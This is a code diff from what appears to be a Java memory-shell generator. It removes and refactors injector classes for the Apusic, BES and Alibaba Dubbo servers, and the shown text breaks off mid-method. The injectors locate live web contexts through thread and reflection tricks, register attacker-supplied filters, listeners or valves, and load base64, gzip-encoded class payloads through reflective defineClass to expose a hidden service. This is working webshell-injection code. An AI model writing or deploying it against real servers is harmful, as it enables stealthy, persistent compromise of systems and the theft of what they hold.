@@ -1,69 +0,0 @@
-package com.reajason.javaweb.memshell.generator.processors;
-
-import com.reajason.javaweb.GenerationException;
-import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
-import com.reajason.javaweb.memshell.ServerFactory;
-import com.reajason.javaweb.memshell.ShellType;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.generator.Processor;
-import com.reajason.javaweb.memshell.server.AbstractServer;
-import com.reajason.javaweb.utils.ShellCommonUtil;
-import net.bytebuddy.asm.Advice;
-import net.bytebuddy.description.method.MethodDescription;
-import net.bytebuddy.description.method.MethodList;
-import net.bytebuddy.description.modifier.Ownership;
-import net.bytebuddy.description.modifier.Visibility;
-import net.bytebuddy.description.type.TypeDescription;
-import net.bytebuddy.dynamic.DynamicType;
-import net.bytebuddy.implementation.FixedValue;
-import net.bytebuddy.implementation.StubMethod;
-import net.bytebuddy.matcher.ElementMatchers;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
-
-/**
- * @author ReaJason
- * @since 2025/12/7
- */
-public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>> {
-
-    @Override
-    public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
-        String shellType = shellConfig.getShellType();
-        if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
-            AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
-            String shellClassName = shellToolConfig.getShellClassName();
-            builder = modifier(builder,
-                    server.getListenerInterceptor(),
-                    shellToolConfig.getShellTypeDescription(),
-                    shellClassName);
-        }
-        return builder;
-    }
-
-    public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, Class<?> implInterceptor,
-                                                  TypeDescription typeDefinition, String newClassName) {
-        MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
-
-        if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
-            throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
-                    " the method body will be auto adapted for multi server");
-        } else {
-            builder = builder
-                    .visit(MethodCallReplaceVisitorWrapper.newInstance(
-                            "getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
-                    .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
-        }
-
-        if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
-            builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
-                    .withParameters(Object.class, String.class)
-                    .throwing(Exception.class)
-                    .intercept(StubMethod.INSTANCE)
-                    .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
-        }
-        return builder;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ShrinkPostProcessor.java

@@ -1,18 +0,0 @@
-package com.reajason.javaweb.memshell.generator.processors;
-
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.generator.Processor;
-
-/**
- * @author ReaJason
- * @since 2025/12/7
- */
-public class ShrinkPostProcessor implements Processor<byte[]> {
-
-    @Override
-    public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
-        return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

@@ -7,8 +7,8 @@ import java.io.PrintStream;
 import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.HashSet;
+import java.util.ArrayList;
-import java.util.LinkedHashSet;
+import java.util.List;
 import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -19,8 +19,7 @@ import java.util.zip.GZIPInputStream;
  */
 public class ApusicFilterInjector {
 
-    private static String msg = "";
+    private String msg = "";
-    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -35,21 +34,16 @@ public class ApusicFilterInjector {
     }
 
     public ApusicFilterInjector() {
-        if (ok) {
+        List<Object> contexts = null;
-            return;
-        }
-        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts != null) {
-            msg += "context not found";
-        } else {
             for (Object context : contexts) {
+                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
-                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -58,7 +52,6 @@ public class ApusicFilterInjector {
                 }
             }
         }
-        ok = true;
         System.out.println(msg);
     }
 
@@ -81,11 +74,11 @@ public class ApusicFilterInjector {
 
     /**
      * context: com.apusic.web.container.WebContainer
-     * context - webapp: com.apusic.deploy.runtime.WebModule
+     * context -> webapp: com.apusic.deploy.runtime.WebModule
      * /usr/local/ass/lib/apusic.jar
      */
-    public Set<Object> getContext() throws Exception {
+    public List<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<Object>();
+        List<Object> contexts = new ArrayList<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("HouseKeeper")) {
@@ -146,12 +139,7 @@ public class ApusicFilterInjector {
         Object filterMapping = filterMappingClass.newInstance();
         invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
-        LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
+        invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
-        LinkedHashSet newSet = new LinkedHashSet();
-        newSet.add(filterMapping);
-        newSet.addAll(beforeFilterMappings);
-        beforeFilterMappings.clear();
-        beforeFilterMappings.addAll(newSet);
 
         // addFilterModel
         invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -224,25 +212,30 @@ public class ApusicFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

@@ -6,7 +6,8 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.HashSet;
+import java.util.ArrayList;
+import java.util.List;
 import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -17,8 +18,7 @@ import java.util.zip.GZIPInputStream;
  */
 public class ApusicListenerInjector {
 
-    private static String msg = "";
+    private String msg = "";
-    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -33,30 +33,24 @@ public class ApusicListenerInjector {
     }
 
     public ApusicListenerInjector() {
-        if (ok) {
+        List<Object> contexts = null;
-            return;
-        }
-        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts != null) {
-            msg += "context not found";
-        } else {
             for (Object context : contexts) {
+                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
-                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
-                    msg += "[" + getUrlPattern() + "] ready\n";
+                    msg += "[/*] ready\n";
                 } catch (Throwable e) {
                     msg += "failed " + getErrorMessage(e) + "\n";
                 }
             }
         }
-        ok = true;
         System.out.println(msg);
     }
 
@@ -77,8 +71,8 @@ public class ApusicListenerInjector {
         return c + "(" + r + ")";
     }
 
-    public Set<Object> getContext() throws Exception {
+    public List<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<Object>();
+        List<Object> contexts = new ArrayList<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("HouseKeeper")) {
@@ -199,25 +193,30 @@ public class ApusicListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

@@ -6,7 +6,8 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.HashSet;
+import java.util.ArrayList;
+import java.util.List;
 import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -17,8 +18,7 @@ import java.util.zip.GZIPInputStream;
  */
 public class ApusicServletInjector {
 
-    private static String msg = "";
+    private String msg = "";
-    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -33,21 +33,16 @@ public class ApusicServletInjector {
     }
 
     public ApusicServletInjector() {
-        if (ok) {
+        List<Object> contexts = null;
-            return;
-        }
-        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts != null) {
-            msg += "context not found";
-        } else {
             for (Object context : contexts) {
+                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
-                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -56,7 +51,6 @@ public class ApusicServletInjector {
                 }
             }
         }
-        ok = true;
         System.out.println(msg);
     }
 
@@ -77,8 +71,8 @@ public class ApusicServletInjector {
         return c + "(" + r + ")";
     }
 
-    public Set<Object> getContext() throws Exception {
+    public List<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<Object>();
+        List<Object> contexts = new ArrayList<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("HouseKeeper")) {
@@ -200,25 +194,30 @@ public class ApusicServletInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java

@@ -15,8 +15,7 @@ import java.util.zip.GZIPInputStream;
  * @author ReaJason
  */
 public class BesFilterInjector {
-    private static String msg = "";
+    private String msg = "";
-    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -31,21 +30,16 @@ public class BesFilterInjector {
     }
 
     public BesFilterInjector() {
-        if (ok) {
+        List<Object> contexts = null;
-            return;
-        }
-        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts != null) {
-            msg += "context not found";
-        } else {
             for (Object context : contexts) {
+                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
-                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -54,7 +48,6 @@ public class BesFilterInjector {
                 }
             }
         }
-        ok = true;
         System.out.println(msg);
     }
 
@@ -62,7 +55,7 @@ public class BesFilterInjector {
     private String getContextRoot(Object context) {
         String r = null;
         try {
-            r = (String) getFieldValue(context, "encodedPath");
+            r = (String) invokeMethod(context, "getContextPath", null, null);
         } catch (Exception ignored) {
         }
         String c = context.getClass().getName();
@@ -79,8 +72,8 @@ public class BesFilterInjector {
      * com.bes.enterprise.webtier.core.DefaultContext
      * /opt/bes/lib/bes-engine.jar
      */
-    public Set<Object> getContext() throws Exception {
+    public List<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<Object>();
+        List<Object> contexts = new ArrayList<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -90,22 +83,12 @@ public class BesFilterInjector {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null) {
-                String name = thread.getContextClassLoader().getClass().getSimpleName();
-                if (name.matches(".+WebappClassLoader")) {
-                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
-                    // need WebResourceRoot not DirContext
-                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
-                        Object context = getFieldValue(resources, "context");
-                        contexts.add(context);
-                    }
-                }
             }
         }
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+    private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -218,25 +201,30 @@ public class BesFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

@@ -15,8 +15,7 @@ import java.util.zip.GZIPInputStream;
  */
 public class BesListenerInjector {
 
-    private static String msg = "";
+    private String msg = "";
-    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -27,21 +26,16 @@ public class BesListenerInjector {
     }
 
     public BesListenerInjector() {
-        if (ok) {
+        List<Object> contexts = null;
-            return;
-        }
-        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts != null) {
-            msg += "context not found";
-        } else {
             for (Object context : contexts) {
+                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
-                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -50,7 +44,6 @@ public class BesListenerInjector {
                 }
             }
         }
-        ok = true;
         System.out.println(msg);
     }
 
@@ -58,7 +51,7 @@ public class BesListenerInjector {
     private String getContextRoot(Object context) {
         String r = null;
         try {
-            r = (String) getFieldValue(context, "encodedPath");
+            r = (String) invokeMethod(context, "getContextPath", null, null);
         } catch (Exception ignored) {
         }
         String c = context.getClass().getName();
@@ -71,8 +64,8 @@ public class BesListenerInjector {
         return c + "(" + r + ")";
     }
 
-    public Set<Object> getContext() throws Exception {
+    public List<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<Object>();
+        List<Object> contexts = new ArrayList<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -82,16 +75,6 @@ public class BesListenerInjector {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null) {
-                String name = thread.getContextClassLoader().getClass().getSimpleName();
-                if (name.matches(".+WebappClassLoader")) {
-                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
-                    // need WebResourceRoot not DirContext
-                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
-                        Object context = getFieldValue(resources, "context");
-                        contexts.add(context);
-                    }
-                }
             }
         }
         return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java

@@ -14,8 +14,7 @@ import java.util.zip.GZIPInputStream;
  */
 public class BesValveInjector {
 
-    private static String msg = "";
+    private String msg = "";
-    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -26,21 +25,16 @@ public class BesValveInjector {
     }
 
     public BesValveInjector() {
-        if (ok) {
+        List<Object> contexts = null;
-            return;
-        }
-        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts != null) {
-            msg += "context not found";
-        } else {
             for (Object context : contexts) {
+                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
-                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -49,7 +43,6 @@ public class BesValveInjector {
                 }
             }
         }
-        ok = true;
         System.out.println(msg);
     }
 
@@ -57,7 +50,7 @@ public class BesValveInjector {
     private String getContextRoot(Object context) {
         String r = null;
         try {
-            r = (String) getFieldValue(context, "encodedPath");
+            r = (String) invokeMethod(context, "getContextPath", null, null);
         } catch (Exception ignored) {
         }
         String c = context.getClass().getName();
@@ -70,8 +63,8 @@ public class BesValveInjector {
         return c + "(" + r + ")";
     }
 
-    public Set<Object> getContext() throws Exception {
+    public List<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<Object>();
+        List<Object> contexts = new ArrayList<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -81,16 +74,6 @@ public class BesValveInjector {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null) {
-                String name = thread.getContextClassLoader().getClass().getSimpleName();
-                if (name.matches(".+WebappClassLoader")) {
-                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
-                    // need WebResourceRoot not DirContext
-                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
-                        Object context = getFieldValue(resources, "context");
-                        contexts.add(context);
-                    }
-                }
             }
         }
         return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/AlibabaDubboServiceInjector.java

@@ -1,451 +0,0 @@
-package com.reajason.javaweb.memshell.injector.dubbo;
-
-import com.alibaba.dubbo.common.URL;
-import com.alibaba.dubbo.common.bytecode.ClassGenerator;
-import com.alibaba.dubbo.common.utils.ClassHelper;
-import com.alibaba.dubbo.config.*;
-import com.alibaba.dubbo.config.model.ApplicationModel;
-import com.alibaba.dubbo.config.model.ProviderModel;
-import javassist.ClassPool;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Method;
-import java.lang.reflect.Modifier;
-import java.security.ProtectionDomain;
-import java.util.ArrayList;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.ConcurrentHashMap;
-import java.util.zip.GZIPInputStream;
-
-public class AlibabaDubboServiceInjector {
-    private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
-    private static final String DISPLAY_HOST = "x.x.x.x";
-    private static String msg = "";
-    private static boolean ok = false;
-
-    public String getUrlPattern() {
-        return "{{urlPattern}}";
-    }
-
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() {
-        return "{{base64Str}}";
-    }
-
-    public String getHelperBase64String() {
-        return "{{helperBase64String}}";
-    }
-
-    public AlibabaDubboServiceInjector() {
-        if (ok) {
-            return;
-        }
-        try {
-            msg += registerService();
-        } catch (Throwable e) {
-            msg += "unexcepted error: " + stackTrace(e);
-        }
-        ok = true;
-        System.out.println(msg);
-    }
-
-    public String registerService() throws Exception {
-        String servicePath = normalizePath(getUrlPattern());
-        if (servicePath.isEmpty()) {
-            throw new IllegalArgumentException("path must not be empty");
-        }
-
-        if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
-            return resolveServiceAddresses(servicePath);
-        }
-
-        Class<?> serviceInterface = loadClass(getHelperBase64String());
-        Class<?> serviceImpl = loadClass(getBase64String());
-        validateServiceTypes(serviceInterface, serviceImpl);
-
-        ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
-        if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
-            return resolveServiceAddresses(servicePath);
-        }
-
-        try {
-            serviceConfig.export();
-            return resolveServiceAddresses(servicePath);
-        } catch (RuntimeException e) {
-            dynamicServices.remove(servicePath, serviceConfig);
-            throw e;
-        }
-    }
-
-    private Class<?> loadClass(String payload) throws Exception {
-        ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
-        byte[] classBytes = gzipDecompress(decodeBase64(payload));
-        definePackageIfNeeded(classLoader, getClassName());
-        Class<?> loadedClass = defineClass(classLoader, classBytes);
-        registerInJavassistClassPool(classLoader, classBytes);
-        return loadedClass;
-    }
-
-    private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
-        ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
-        Method defineClass = ClassLoader.class.getDeclaredMethod(
-                "defineClass",
-                String.class,
-                byte[].class,
-                int.class,
-                int.class,
-                ProtectionDomain.class
-        );
-        defineClass.setAccessible(true);
-        return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
-    }
-
-    private void definePackageIfNeeded(ClassLoader classLoader, String className) {
-        int packageEnd = className.lastIndexOf('.');
-        if (packageEnd < 0) {
-            return;
-        }
-
-        String packageName = className.substring(0, packageEnd);
-        try {
-            Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
-            getPackage.setAccessible(true);
-            if (getPackage.invoke(classLoader, packageName) != null) {
-                return;
-            }
-
-            Method definePackage = ClassLoader.class.getDeclaredMethod(
-                    "definePackage",
-                    String.class,
-                    String.class,
-                    String.class,
-                    String.class,
-                    String.class,
-                    String.class,
-                    String.class,
-                    java.net.URL.class
-            );
-            definePackage.setAccessible(true);
-            definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
-        } catch (Exception ignored) {
-            // Defining the package is a convenience for older class loaders. The class can still load without it.
-        }
-    }
-
-    private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
-        try {
-            ClassPool classPool = ClassGenerator.getClassPool(classLoader);
-            classPool.makeClass(new ByteArrayInputStream(classBytes));
-        } catch (Throwable ignored) {
-            // Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
-        }
-    }
-
-    private static byte[] decodeBase64(String value) throws Exception {
-        Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-        return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
-    }
-
-    private static byte[] gzipDecompress(byte[] bytes) throws Exception {
-        GZIPInputStream inputStream = null;
-        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
-        try {
-            inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
-            byte[] buffer = new byte[4096];
-            int read;
-            while ((read = inputStream.read(buffer)) > 0) {
-                outputStream.write(buffer, 0, read);
-            }
-            return outputStream.toByteArray();
-        } finally {
-            if (inputStream != null) {
-                inputStream.close();
-            }
-            outputStream.close();
-        }
-    }
-
-    private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
-        if (!serviceInterface.isInterface()) {
-            throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
-        }
-        if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
-            throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
-        }
-        if (!serviceInterface.isAssignableFrom(serviceImpl)) {
-            throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
-        }
-    }
-
-    private Object instantiate(Class<?> serviceImpl) {
-        try {
-            Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
-            constructor.setAccessible(true);
-            return constructor.newInstance();
-        } catch (Exception e) {
-            throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
-        }
-    }
-
-    private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
-        ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
-        serviceConfig.setInterface(serviceInterface);
-        serviceConfig.setRef(serviceImpl);
-        serviceConfig.setPath(servicePath);
-
-        ProviderConfig providerConfig = findProviderConfig();
-        if (providerConfig != null) {
-            serviceConfig.setProvider(providerConfig);
-            if (notEmpty(providerConfig.getVersion())) {
